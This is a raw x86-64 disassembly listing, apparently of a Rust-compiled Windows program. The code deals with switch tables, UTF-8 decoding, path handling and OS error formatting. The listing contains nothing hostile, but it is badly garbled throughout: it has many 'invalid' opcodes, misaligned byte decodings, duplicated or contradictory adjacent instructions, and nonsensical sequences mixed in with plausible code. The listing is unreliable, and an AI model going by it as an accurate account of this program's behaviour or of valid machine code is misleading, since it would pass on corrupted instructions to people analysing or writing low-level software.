cmp byte [rbp - 0xf], 0
je 0x140077ef8
test byte [rsi + 0x34], 4
jne 0x140077ef8
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x140077f16
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x68c7e
sub byte [rax - 0x73], cl
adc eax, 0x68c7e
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140077f16
sbb byte [rcx - 0x76fd143d], cl
retf
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x140077f8f
jrcxz 0x140077f4e
invalid
lea rcx, [0x1400e7aa4]
lea ecx, [0x1400e7aa4]
sbb al, 0xfb
invalid
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
mov al, 0xd
ret
or eax, 0xfe518dc3
lea edx, [rcx - 2]
cmp edx, 0x109
ja case.default.0x140077fb1
lea rcx, [0x1400e767c]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
jg 0x140077fdd
add byte [rax], al
add byte [rdi + 0x58], bh
jg 0x14007801e
cmp ecx, 0x1715
invalid
jg 0x14007808f
add byte [rax], al
add byte [rcx + 0x50ff9], al
cmp ecx, 0x50f
invalid
add byte [rax], al
cmp ecx, 0x50f
stc
syscall
add eax, 0x840f0000
sub eax, dword [rcx]
add byte [rax], al
je 0x140078109
test byte [rbx], ch
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + 0x5b4f9], al
cmp ecx, 0x5b4
stc
mov ah, 5
add byte [rax], al
invalid
add byte [rdi], cl
je case.0x140077fb1.121
test dl, bl
add byte [rax], al
fiadd dword [rax]
add byte [rax], al
invalid
add cl, ch
invalid
jmp case.0x140077fb1.4
add byte [rax], al
add byte [rcx + 0x46af9], al
cmp ecx, 0x46a
jle case.0x140077d5a.209
add byte [rax], al
cmp ecx, 0x46a
stc
push 4
add byte [rax], al
jle case.0x140077d5a.209
cmp ecx, 0x4ce
cmp ecx, 0x4ce
invalid
add byte [rdi], cl
invalid
jg 0x1400780a1
sahf
add byte [rax], al
add byte [rcx + 0x46bf9], al
cmp ecx, 0x46b
add al, 0
add byte [rdi], cl
test ch, bh
je 0x14007810c
add byte [rax], al
add byte [rcx + 0x476f9], al
invalid
stc
jbe 0x140078017
add al, 0
add byte [rax], al
cmp ecx, 0x476
stc
jbe 0x140078017
invalid
add al, 0
add byte [rax], al
add byte [rdi], cl
jne case.0x140077fb1.4
test dword [rsi - 0x50000000], edi
mov esi, 0xb0000000
add byte [rax], al
mov al, 0x20
ret
and bl, al
cmp ecx, 0x2021
stc
and dword [rax], esp
add byte [rax], al
add byte [rdi], cl
jg 0x1400780b4
invalid
mov al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + 0x1b80f9], al
cmp ecx, 0x1b80
je case.0x140077fb1.121
invalid
sbb byte [rbx], 0
add byte [rdi], cl
test byte [rsi - 0x7f000000], cl
invalid
invalid
stc
invalid
add byte [rcx + 0x1f4ef9], al
add byte [rdi], cl
cmp ecx, 0x1f4e
je case.0x140077fb1.121
invalid
invalid
add byte [rax], al
add byte [rax], al
test byte [rdx - 0x17000000], al
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x3c297f], cl
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x140077fb1.121
add byte [rax], al
jmp case.0x140077fb1.4
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x140077fb1.121
cmp ecx, 0x35ed
stc
in eax, dx
xor eax, 0x6a740000
add byte [rax], al
je case.0x140077fb1.121
add byte [rax], al
je case.0x140077fb1.121
push 0xffffffffffffffeb
jge 0x140077fde
invalid
jmp case.0x140077fb1.4
cmp ecx, 0x3e3
stc
jrcxz 0x140078063
invalid
add eax, dword [rax]
add byte [rax + riz*2 - 0x7f], dh
je case.0x140077fb1.121
cmp ecx, 0x41d
je case.0x140077fb1.121
add byte [rax], al
je case.0x140077fb1.121
invalid
cmp ecx, 0x41d
je case.0x140077fb1.121
cmp ecx, 0x461
je case.0x140077fb1.121
jmp case.0x140077fb1.4
mov al, 0x21
ret
cmp ecx, 0x150
je 0x14007810f
cmp ecx, 0x252
je case.0x140077fb1.121
jmp case.0x140077fb1.4
cmp ecx, 0x1716
je case.0x140077fb1.121
cmp ecx, 0x1b64
je case.0x140077fb1.121
jmp case.0x140077fb1.4
cmp ecx, 0x4cf
je case.0x140077f8f.10051
cmp ecx, 0x4d0
jne case.0x140077fb1.4
mov al, 4
ret
cmp ecx, 0x2022
je case.0x140077fb1.121
cmp ecx, 0x25e9
jne case.0x140077fb1.4
mov al, 0x16
ret
mov al, 0x26
ret
mov al, 0x18
ret
mov al, 0xc
ret
mov al, 0x14
ret
mov al, 0xb
ret
mov al, 5
ret
mov al, 0x28
ret
mov al, 8
ret
mov al, 9
ret
mov al, 0xa
ret
mov al, 6
ret
mov al, 3
ret
mov al, 7
ret
mov al, 2
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x24
ret
mov al, 0x19
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1b
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
mov dword [rbp + 0x1018], eax
mov qword [rbp + 0x1020], 2
lea rcx, [rbp + 0xff0]
lea rdx, [rbp + 0x1008]
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
call fcn.14003c3d0
mov rax, qword [rbp + 0x1000]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xff0]
invalid
cld
dec dword [rax - 0x75]
test dword [rax], eax
adc byte [rax], al
add byte [rax - 0x77], cl
adc byte [rdi], r9b
adc byte [rbp + 0xff0], al
invalid
add cl, ch
cli
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax], ebx
adc byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], eax
adc byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0x1008], al
or byte [rax], dl
add byte [rax], al
jmp 0x140078483
or byte [rax], dl
add byte [rax], al
movaps xmmword [rbp + 0xff0], xmm0
jmp 0x1400783d2
mov rax, qword [rbp + 0xff0]
test rax, rax
je 0x140078405
invalid
invalid
mov rcx, qword [rbp + 0xff8]
add byte [rax], al
mov r8, qword [rbp + 0x1000]
test r8, r8
je 0x140078597
lea r10, [rax + r8]
adc al, 0
lea r9, [0x1400e30d7]
jmp 0x1400784a9
invalid
lea rax, [rbp + 0x103c]
mov qword [rbp + 0xfe0], rax
add byte [rax - 0x73], cl
add eax, 0xfffcd686
add byte [rax - 0x73], cl
add eax, 0xfffcd686
mov qword [rbp + 0xfe8], rax
test eax, ebp
sldt word [rax]
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0x1008], rax
mov qword [rbp + 0x1010], 2
adc byte [rax], dl
add byte [rax], al
add al, byte [rax]
add byte [rax], al
adc byte [rax], dl
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x1028], 0
lea rax, [rbp + 0xfe0]
mov qword [rbp + 0x1018], rax
mov qword [rbp + 0x1020], 1
lea rcx, [rbp + 0xfc0]
lea rdx, [rbp + 0x1008]
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
call fcn.14003c3d0
mov rax, qword [rbp + 0xfd0]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfc0]
test eax, eax
sldt word [rax]
test eax, eax
sldt word [rax]
movups xmmword [rsi], xmm0
jmp 0x1400785a4
movzx r11d, r11b
test byte [r11 + r9], 1
je 0x14007858a
nop word [rax + rax]
cmp r10, rax
je 0x140078597
mov rdx, r10
movzx r11d, byte [r10 - 1]
test r11b, r11b
js 0x1400784c0
lea r10, [rdx - 1]
movzx r11d, r11b
jmp 0x14007851b
movzx edi, byte [rdx - 2]
cmp dil, 0xc0
invalid
mov dh, 0x7a
inc byte [rax - 0x80]
inc eax
invalid
sar byte [rbp + 0x22], 0xf
mov dh, 0x5a
std
jge 0x1400784ec
movzx ebx, byte [rdx - 3]
cmp bl, 0xc0
jge 0x1400784f5
lea r10, [rdx - 4]
movzx r14d, byte [rdx - 4]
cld
cld
and r14d, 7
shl r14d, 6
out 6, al
out 6, al
and ebx, 0x3f
or ebx, r14d
jmp 0x1400784fc
lea r10, [rdx - 2]
and edi, 0x1f
jmp 0x140078504
lea r10, [rdx - 3]
lea edx, [rdx - 3]
and ebx, 0xf
shl ebx, 6
and edi, 0x3f
out 0x3f, eax
out 0x3f, eax
or edi, ebx
shl edi, 6
and r11b, 0x3f
movzx r11d, r11b
or r11d, edi
cmp r11d, 0x110000
je 0x140078597
lea edi, [r11 - 9]
cmp edi, 5
jb 0x1400784a0
cmp r11d, 0x20
je 0x1400784a0
cmp r11d, 0x80
jb 0x14007858a
mov edi, r11d
shr edi, 8
cmp edi, 0x1f
jg 0x140078562
test edi, edi
je 0x14007848b
invalid
dec dword [rdi]
test byte [0xc407854e], bh
invalid
cmp edi, 0x16
inc dword [rbx + 0x377516ff]
cmp edi, 0x16
jne 0x14007858a
cmp r11d, 0x1680
je 0x1400784a0
invalid
invalid
invalid
invalid
invalid
jmp 0x14007858a
sub byte [rbx + 0x147420ff], al
cmp edi, 0x20
je 0x14007857b
cmp edi, 0x30
push qword [rax]
jne 0x14007858a
cmp r11d, 0x3000
cmp ebx, 0x3000
add byte [rax], al
je 0x1400784a0
invalid
jmp 0x14007858a
movzx r11d, r11b
movzx ebx, bl
test byte [r11 + r9], 2
jne 0x1400784a0
invalid
invalid
add al, 0xb
add cl, byte [rdi]
test dword [rsi], edx
invalid
invalid
sub rdx, rax
cmp r8, rdx
jae 0x1400785b4
ret 0x3949
mov rdx, r8
jmp 0x140078599
xor edx, edx
mov qword [rsi], rax
invalid
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
add rsp, 0x10c8
enter 0x10, 0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
test rdx, rdx
je 0x140078599
cmp r8, rdx
jbe 0x140078599
sal byte [rsi - 0x25], 1
cmp byte [rax + rdx], 0xbf
jg 0x140078599
mov edi, 0x8d48d57f
or eax, 0x67e35
jle 0x1400785d0
invalid
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_string.rs
jle 0x1400785d0
add byte [rbp + rcx*4 + 5], cl
scasb al, byte [rdi]
jle 0x1400785d7
lea r8, [0x1400e0480]
mov edx, 0x30
invalid
add byte [rdx + 0x30], bh
call fcn.1400a4530
ud2
mov ecx, ebx
fld1
scasd eax, dword [rdi]
mov esi, 0xb0f0002
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
call fcn.1400a44b0
ud2
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea ecx, [rax]
or byte [rax], dl
add byte [rax], al
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea ecx, [rax]
or byte [rax], dl
add byte [rax], al
invalid
jl case.0x140071515.392
or byte [rax], dl
add byte [rax], al
call fcn.1400093b0
stc
call qword [rax + 0x38c48348]
nop
add rsp, 0x38
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
lea rcx, [rbp + 0xff0]
call fcn.1400093b0
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
int3
int3
cmp byte [r8 - 0x77], r9b
fcos
call rsi
call rsi
jmp 0x140078977
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov edx, dword [rdx + 8]
mov r8, qword [rax + 0x10]
je 0x140078a2b
lea rcx, [rbp + 0x80]
call fcn.1400792e0
movzx eax, byte [rbp + 0x98]
mov byte [rbp + 0x14f], al
jmp 0x140078a77
lea rcx, [rbp + 0xa0]
call fcn.14003f1f0
dec dword [rax - 0x7d]
mov ebp, 0xa0
add byte [rax], al
add byte [rax], al
dec dword [rax - 0x7d]
mov ebp, 0xa0
add byte [rax], al
add byte [rax], al
mov eax, 9
add byte [rax], al
add byte [rax], al
mov eax, 9
cmove rax, qword [rbp + 0xb0]
lea rcx, [0x1400e1259]
cmove rcx, qword [rbp + 0xa8]
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rax
mov byte [rbp + 0x98], 2
mov byte [rbp + 0x14f], 2
test bl, bl
mov qword [rbp + 0x110], rsi
je 0x140078a9c
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x88]
mov r11, qword [rbp + 0x90]
jmp 0x140078e31
cmp byte [rbp + 0x14f], 2
mov rcx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x90]
mov qword [rbp + 0x138], rdx
mov qword [rbp + 0x130], rax
cmove rdx, rax
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x128], rdx
call fcn.1400794c0
test rdi, rdi
sete cl
xor al, 1
or al, cl
jne case.default.0x140078b44
add byte [rax], al
add byte [rax], al
mov r13, qword [rdi]
mov rdi, qword [rdi + 0x10]
lea rcx, [rbp + 0xa0]
mov rdx, qword [rbp + 0x140]
mov r8, qword [rbp + 0x128]
call fcn.140079610
movzx r15d, byte [rbp + 0xa0]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xc0]
movzx edx, r15b
lea r8, [0x1400e7b78]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, qword [rbp + 0x128]
mov r8, qword [rbp + 0x140]
jmp r9
add rcx, 4
jmp 0x140078b81
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140078b81
mov ecx, 6
jmp 0x140078b81
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x140078b81
mov ecx, 2
mov rdx, qword [rbp + 0x128]
sub rdx, rcx
sub edx, ecx
sub edx, ecx
jb 0x140079160
add byte [rax + 3], cl
lea eax, [rax + 1]
add byte [rax], al
add rcx, qword [rbp + 0x140]
mov r8, rcx
test rdx, rdx
je 0x140078bb4
invalid
adc al, 0x41
movzx eax, byte [rax]
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
xchg esp, eax
sar dword [rdi + rbp], 0x41
sete ah
invalid
xchg esp, eax
sar dword [rdi + rbp], 0x41
sete ah
invalid
invalid
or r12b, cl
jmp 0x140078bb7
xor r12d, r12d
xor esp, esp
mov rax, qword [rbp + 0xc0]
add byte [rax], al
mov qword [rbp + 0x6f], rax
outsd dx, dword [rsi]
movups xmm0, xmmword [rbp + 0xa1]
movups xmm1, xmmword [rbp + 0xb1]
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0xa0]
mov rdx, r13
mov r8, rdi
call fcn.140079610
movzx edx, byte [rbp + 0xa0]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xc0]
test eax, eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea eax, [0x1400e7b94]
test eax, eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
mov gs, edi
invalid
lea eax, [0x1400e7b94]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rdi
mov r8, r13
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp 0x140078c50
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140078c50
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x140078c50
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
add ecx, 2
jmp 0x140078c50
mov ecx, 2
mov rdx, rdi
sub rdx, rcx
jb 0x140079175
invalid
invalid
invalid
add byte [rax], al
invalid
add byte [rax], al
add rcx, r13
mov r8, rcx
test rdx, rdx
je 0x140078c79
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
ror byte [rax], 0xc8
ror byte [rax], 0xc8
jmp 0x140078c7b
xor eax, eax
mov qword [rbp - 0x30], r13
mov dword [rbp - 0x30], ebp
mov qword [rbp - 0x28], rdi
movups xmm0, xmmword [rbp + 0xa0]
movups xmm1, xmmword [rbp + 0xb0]
adc byte [rbp + 0xb0], cl
adc byte [rbp + 0xb0], cl
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
movups xmmword [rbp - 0x10], xmm1
mov rcx, qword [rbp + 0xc0]
mov qword [rbp], rcx
mov byte [rbp + 0xa], al
or r12b, byte [r14 - 0x39]
or byte [r8], r8b
add cl, byte [rbp + rcx*4 + 0x75]
and dword [rax - 0x4a], eax
add dh, byte [rcx]
fisttp dword [rax - 0x73]
mov ebp, 0xa0
or r12b, byte [r14 - 0x39]
or byte [r8], r8b
add cl, byte [rbp + rcx*4 + 0x75]
and dword [rax - 0x4a], eax
add dh, byte [rcx]
fisttp dword [rax - 0x73]
mov ebp, 0xa0
mov r13, qword [rbp + 0x140]
cmp r15b, 6
je 0x140078cf1
nop word [rax + rax]
add byte [rax], al
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0xbf], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0xb0], xmm1
movaps xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], r15b
mov rax, qword [rbp + 0xbf]
test dword [rdi + 0x49000000], edi
mov dword [rsi + 0x1f], eax
test dword [rdi + 0x49000000], edi
mov dword [rsi + 0x1f], eax
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov byte [rbp + 0x4a], r12b
mov byte [rbp + 0x48], bl
mov byte [rbp + 0x49], sil
mov rcx, rdi
lea rdx, [rbp + 0x10]
call fcn.140079ab0
lea rcx, [rbp + 0xd8]
lea rdx, [rbp - 0x30]
call fcn.140079ab0
movzx eax, byte [rbp + 0xd8]
cmp byte [rbp + 0xa0], 0xa
je 0x140078dd6
cmp al, 0xa
je 0x140078dda
mov ebp, dword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x128], rax
movzx r15d, byte [rbp + 0x20]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x60], xmm1
mov rax, qword [r14 + 0x1f]
mov qword [rbp + 0x6f], rax
movzx ebx, byte [rbp + 0x48]
movzx esi, byte [rbp + 0x49]
movzx r12d, byte [rbp + 0x4a]
movzx eax, byte [r14 + 0x2e]
mov byte [rbp + 0x11c], al
mov eax, dword [r14 + 0x2a]
mov dword [rbp + 0x118], eax
cmp r15b, 6
jne 0x140078cd0
jmp 0x140078cf1
cmp al, 0xa
jne case.default.0x140078b44
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
mov eax, dword [rbp + 0x118]
mov dword [rbp + 0x120], eax
movzx eax, byte [rbp + 0x11c]
mov byte [rbp + 0x124], al
cmp r12b, 2
jne 0x140078f89
mov rax, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x130]
mov rsi, qword [rbp + 0x110]
mov r11, qword [rbp + 0x138]
cmp byte [rbp + 0x14f], 2
mov qword [rbp + 0x130], rcx
cmove r11, rcx
mov rbx, rax
lea r12, [rax + r11]
mov r14, qword [rsi + 0x20]
mov r13, qword [rsi + 0x28]
xor ecx, ecx
mov dil, 1
cmp rcx, r11
je 0x14007903a
lea rdx, [rbx + rcx]
mov r15, rcx
mov r8, rdx
jmp 0x140078e8f
add r8, 2
cmp rax, r12
cmovne rax, r8
mov r10d, 2
nop dword [rax]
add r15, r10
mov r8, rax
cmp rax, r12
je 0x14007903d
lea rax, [r8 + 1]
movzx r9d, byte [r8]
mov r10d, 1
test r9b, r9b
jns 0x140078e80
cmp r9b, 0xe0
jb 0x140078e6c
cmp r9b, 0xed
jne 0x140078eda
cmp rax, r12
je 0x14007903d
lea rax, [r8 + 2]
cmp rax, r12
je 0x14007903d
cmp byte [r8 + 1], 0x9f
ja 0x140078f14
add r8, 3
mov r10d, 3
invalid
add eax, dword [rcx - 0x46]
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
jmp 0x140078e80
add r8, 2
cmp rax, r12
cmove r8, rax
sal byte [rcx], 0xc0
sal byte [rcx], 0xc0
cmp r8, r12
cmp eax, esp
setne al
add rax, r8
add eax, eax
add eax, eax
rol byte [rcx - 0x46], 3
add byte [rax], al
add byte [rax], al
invalid
invalid
mov r10d, 3
add byte [rax], al
cmp r9b, 0xf0
jb 0x140078e80
stc
invalid
xor r8d, r8d
cmp rax, r12
setne r8b
setne al
setne al
add rax, r8
mov r10d, 4
rol byte [rcx - 0x46], 4
add byte [rax], al
add cl, ch
invalid
insb byte [rdi], dx
invalid
jmp 0x140078e80
dec dword [rbp - 0x77]
clc
mov r8, r15
sub r8, rcx
jb 0x14007919e
mov qword [rbp + 0x138], r11
cmp byte [rcx], al
add byte [rax], al
cmp r15, r11
ja 0x140079186
add byte [rax], al
mov rsi, qword [r13 + 0x18]
mov rcx, r14
call rsi
test al, al
ror byte [rdi], 0x85
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x85
and eax, 0x41000001
mov eax, 3
mov r8d, 3
mov rcx, r14
mov ecx, esi
lea rdx, [0x1400e1418]
call rsi
test al, al
ror byte [rdi], 0x85
or eax, dword [rcx]
add byte [rax], al
invalid
ror byte [rdi], 0x85
or eax, dword [rcx]
add byte [rax], al
add r15, 3
mov dword [rbx], 0x4cf9894c
mov rcx, r15
mov r11, qword [rbp + 0x138]
mov ebx, dword [rbp + 0x138]
mov ebx, dword [rbp + 0x138]
cmp r15, r11
jbe 0x140078e57
xchg ch, ah
invalid
invalid
invalid
xchg ch, ah
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e1420]
invalid
mov rcx, r15
mov ecx, edi
mov rdx, r11
mov edx, ebx
invalid
call fcn.1400a43b0
jmp 0x1400791ad
and al, 2
add byte [rax], al
add cl, ch
and al, 2
add byte [rax], al
mov rax, qword [rbp - 0x41]
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0xd0], eax
mov dword [rbp + 0xd0], eax
add byte [rax], al
movaps xmm0, xmmword [rbp - 0x60]
movaps xmm1, xmmword [rbp - 0x50]
movabs al, byte [0xc18d110fb04d280f]
add byte [rax], al
movups xmmword [rbp + 0xc1], xmm1
invalid
add byte [rdi], cl
adc dword [rbp + 0xb1], eax
movups xmmword [rbp + 0xb1], xmm0
mov eax, dword [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
mov dword [rbp + 0xdb], eax
fild dword [rax]
add byte [rax], al
movzx eax, byte [rbp + 0x124]
add byte [rax + 0xdf85], cl
add byte [rcx + rcx*4 - 0x53], cl
mov qword [rbp + 0xa0], r13
mov rax, qword [rbp + 0x128]
mov byte [rbp + 0xdf], al
mov qword [rbp + 0xa0], r13
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0xa8], rax
mov byte [rbp + 0xb0], r15b
invalid
add byte [rax + rcx*4 - 0x43], al
mov al, 0
add byte [rax], al
invalid
add byte [rax + 0xd89d], cl
add byte [rax - 0x78], al
mov ch, 0xd9
add byte [rax], al
add byte [rax + rcx*4 - 0x5b], al
fiadd dword [rax]
add byte [rax], al
invalid
mov byte [rbp + 0xd8], bl
mov byte [rbp + 0xd9], sil
mov byte [rbp + 0xda], r12b
invalid
add byte [rax - 0x73], cl
lea esp, [rax - 0x18000000]
push rcx
lea rcx, [rbp + 0xa0]
call fcn.140079f50
sldt word [rax]
sldt word [rax]
test rax, rax
mov rsi, qword [rbp + 0x110]
je 0x140079027
mov r8, rdx
lea rcx, [rbp + 0xa0]
mov rdx, rax
call fcn.14003f1f0
cmp qword [rbp + 0xa0], 0
je 0x1400790a1
mov rax, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x130]
jmp 0x140078e2a
invalid
invalid
invalid
mov rcx, r11
sub r11, rcx
lea rdx, [rbx + rcx]
or ecx, dword [rax - 0x7b]
leave
or ecx, dword [rax - 0x7b]
leave
je 0x140079055
mov rcx, r14
mov r8, r11
call qword [r13 + 0x18]
jmp 0x140079064
mov rcx, qword [rbp + 0x110]
mov r8, r11
call fcn.14003de60
cld
invalid
cld
dec dword [rcx + 0x4fbd80c7]
mov edi, eax
cmp byte [rbp + 0x14f], 2
add dword [rax], eax
add byte [rdx], al
je 0x14007908b
cmp qword [rbp + 0x130], 0
je 0x14007908b
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movsd dword [rdi], dword [rsi]
add al, byte [rbx]
add byte [rcx - 0x3b7eb708], cl
fadd dword [rcx]
add byte [rax], al
mov eax, edi
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0xb0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x1400e1288]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140040dc0]
mov qword [rbp + 0x18], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x20], rax
lea rax, [0x14003e180]
mov qword [rbp + 0x28], rax
lea rax, [0x1400e1268]
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0xa0], eax
mov dword [rbp + 0xa0], eax
mov qword [rbp + 0xa8], 2
mov qword [rbp + 0xc0], 0
mov dword [rbp + 0xc0], 0
test dword [rax + 0x2000000], ebp
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rbp + 0xc0], 0
lea rax, [rbp + 0x10]
mov qword [rbp + 0xb0], rax
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], edi
add byte [rax], al
invalid
mov dword [rbp + 0xc0], 0
lea rax, [rbp + 0x10]
mov qword [rbp + 0xb0], rax
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], edi
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
push rsi
sub byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0xfffc5082e8000000]
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rbp + 0xa0]
call fcn.14003e1b0
mov edi, eax
cmp byte [rbp + 0x14f], 2
je 0x14007908b
cmp qword [rbp + 0x130], 0
je 0x14007908b
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x140]
jmp 0x140079085
invalid
invalid
invalid
invalid
and eax, 0x4cffffff
lea eax, [0x1400e0e70]
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rbp + 0x128]
call fcn.1400a43b0
jmp 0x1400791ad
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1400a43b0
jmp 0x1400791ad
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r15
mov rdx, qword [rbp + 0x138]
call fcn.1400a44b0
add al, byte [rax]
add al, byte [rax]
jmp 0x1400791ad
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r15
pop rbx
invalid
call fcn.1400a4780
ud2
nop
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0x80]
call fcn.140008890
mov eax, 0x90fff8f6
mov eax, 0x90fff8f6
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub esp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
cmp byte [rcx + 0x18], 2
jne 0x140079251
mov rax, qword [rcx]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
